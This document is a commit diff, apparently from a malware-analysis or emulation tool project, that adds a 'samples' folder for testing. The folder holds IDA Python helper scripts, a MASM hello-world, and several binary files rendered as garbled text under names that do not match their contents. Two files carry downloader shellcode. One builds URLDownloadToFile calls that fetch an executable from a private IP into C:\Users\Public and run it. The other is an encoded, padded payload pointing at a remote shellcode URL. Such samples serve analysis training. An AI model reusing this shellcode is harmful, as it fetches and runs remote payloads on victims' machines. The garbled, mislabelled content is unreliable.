Samples for testing 👍

Enjoy ;)

Author: Coldzer0

.gitignore

@@ -44,7 +44,6 @@ __recovery/
 # unwanted folders :D
 unicorn-engine-pascal
 CTF
-samples
 GDT
 win_dlls
 Build/OSX

samples/AntiDbgx32.exe

@@ -0,0 +1 @@
+CHMMXaL@MV@SD@O@MXRHRCNNJBNL

samples/AntiDbgx64.exe

@@ -0,0 +1,14 @@
+from idautils import *
+from idc import *
+
+heads = Heads(SegStart(ScreenEA()), SegEnd(ScreenEA()))
+antiVM = []
+for i in heads:
+	if (GetMnem(i) == "sidt" or GetMnem(i) == "sgdt" or GetMnem(i) == "sldt" or GetMnem(i) == "smsw" or GetMnem(i) == "str" or GetMnem(i) == "in" or GetMnem(i) == "cpuid"):
+		antiVM.append(i)
+
+print "Number of potential Anti-VM instructions: %d" % (len(antiVM))
+
+for i in antiVM:
+	SetColor(i, CIC_ITEM, 0x0000ff)
+	Message("Anti-VM: %08x\n" % i)

samples/AntiDebugDownloader.exe

@@ -0,0 +1 @@
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3�f��
�^V����Ѐ�A���,AªIu�������IJOFIBOMEAAAAAAAOJDDABAAAAFGFHILHECEAMDBPPPMDBMAKMDIOAHEAKMBMPANABMHOJOPPPPPPPIJPIFPFOMCAEAAGAILGMCECEILEFDMILFEAFHIABOKILEKBIILFKCAABOLODCKEJILDEILABOOFGOILLPPPPPPDLEECECIHFOMILFKCEABOLGGILAMELILFKBMABOLILAEILABOIOJACAAAAAADBMAIJEECEBMGBMCAIAAFGDBMAGEILEADAIFMAHIAPILEAAMILHABMKNILEAAIOJAFAAAAAAOJPLPPPPPPFOMDFLOINJPPPPPPIJMCGIIOEOAOOMFCOIIAPPPPPPIJEFPMGIMBHJOFLIFCOIHCPPPPPPIJEFPIGIIDLJLFHIFCOIGEPPPPPPIJEFPEGIOGBHIPHLFCOIFGPPPPPPIJEFPAGIJIPOIKAOFCOIEIPPPPPPIJEFOMINADFAPPFFPMGIDGBKCPHAFAOIDEPPPPPPIJEFOIGIIAAAAAAAINHLEIFHPPFFPIABMHMHAHFMDBCOGFMHEHAEHIGFAAAADBMJFBFBINEDEIFAINEDAHFAFBPPFFOIGIAFAAAAAAINEDEIFAPPFFOMPPFFPAGIAAAAAAAAFAPPFFPEOIFGPPPPPPFFFCEMENEPEOAAGIHEHEHADKCPCPHHHHHHCOHAHCGBGDHEGJGDGBGMGNGBGMHHGBHCGFGBGOGBGMHJHDGJHDCOGDGPGNCPHDGIGFGMGMGDGPGEGFCPGBGOGOGPHJFPHFHDGFHCCOGFHIGFAA

samples/AntiEmu/blue.exe

@@ -0,0 +1 @@
+|y`~`~`NNNNNNN/N6O{N
N:N6/{N<N`N+N6N+NNN6O{N��������FNNNNNN|y`~`~`N{NqNNNONNNoNNNfFN�PZN�MNN�F{N�INNNNNN��\N�NH{N6O{NNNNONNN

samples/BinaryCollection/Chapter_10L/Lab10-01.exe

@@ -0,0 +1,6 @@
+sea = ScreenEA()
+
+for i in range(0x00,0x50):
+        b = Byte(sea+i)
+        decoded_byte = b ^ 0x55
+        PatchByte(sea+i,decoded_byte)

samples/BinaryCollection/Chapter_10L/Lab10-01.sys

@@ -0,0 +1 @@
+HƒěXLŤ4$HƒěXH1ŇeH‹B`H‹pH‹vH­H‹0H‹~0‹_<H
ű˛ˆ‹H
ű‹sH
ţfş?‹–H
űH1ŇAÇurlmfAÇFonAˆVIŤ˙ÓfşJ‹–H
űH1ŇHąURLDownlI‰HąoadToFilI‰NfAÇFeAAˆVIŤH‰Á˙ÓI‰ÇH¸C:\\UserI‰H¸s\\PubliI‰FH¸c\\p.exeI‰FH1ŇAˆVIŤNH¸http://1H‰
H¸92.168.1H‰AH¸0.129/plH‰AÇA.exeˆQHƒěXH1ÉIŤVMŤM1ÉL‰L$ A˙×H1ŇH9ĐuăHƒěXfşk‹–H
űIŤH1Ҳ˙ÓH1Ňfş"‹–H
űIŤH1Ň˙ÓH1Ňfş(
‹–H
űHƒÄXH1É˙Ó

samples/BinaryCollection/Chapter_10L/Lab10-02.exe

@@ -0,0 +1,48 @@
+;
+; Obfuscator v2.0 sample
+;
+; Bartosz Wójcik | www.pelock.com
+;
+	.586
+	.model flat,stdcall
+
+	includelib	\masm32\lib\kernel32.lib
+	includelib	\masm32\lib\user32.lib
+
+	include		\masm32\include\kernel32.inc
+	include		\masm32\include\user32.inc
+	include		\masm32\include\windows.inc
+
+	assume		fs:flat
+
+.data
+	szCaption	db 'Visit us at www.pelock.com',0
+	szText		db 'Hello world',0
+.code
+
+
+ShowInformation proc
+
+;
+; MessageBox(NULL, "Hello world", "Visit us at www.pelock.com", MB_ICONINFORMATION);
+;
+	push	MB_ICONINFORMATION
+	push	offset szCaption
+	push	offset szText
+	push	0
+	call	MessageBoxA
+
+	ret
+
+ShowInformation endp
+
+start:
+	call	ShowInformation
+
+;
+; ExitProcess(0);
+;
+	push	0
+	call	ExitProcess
+
+end start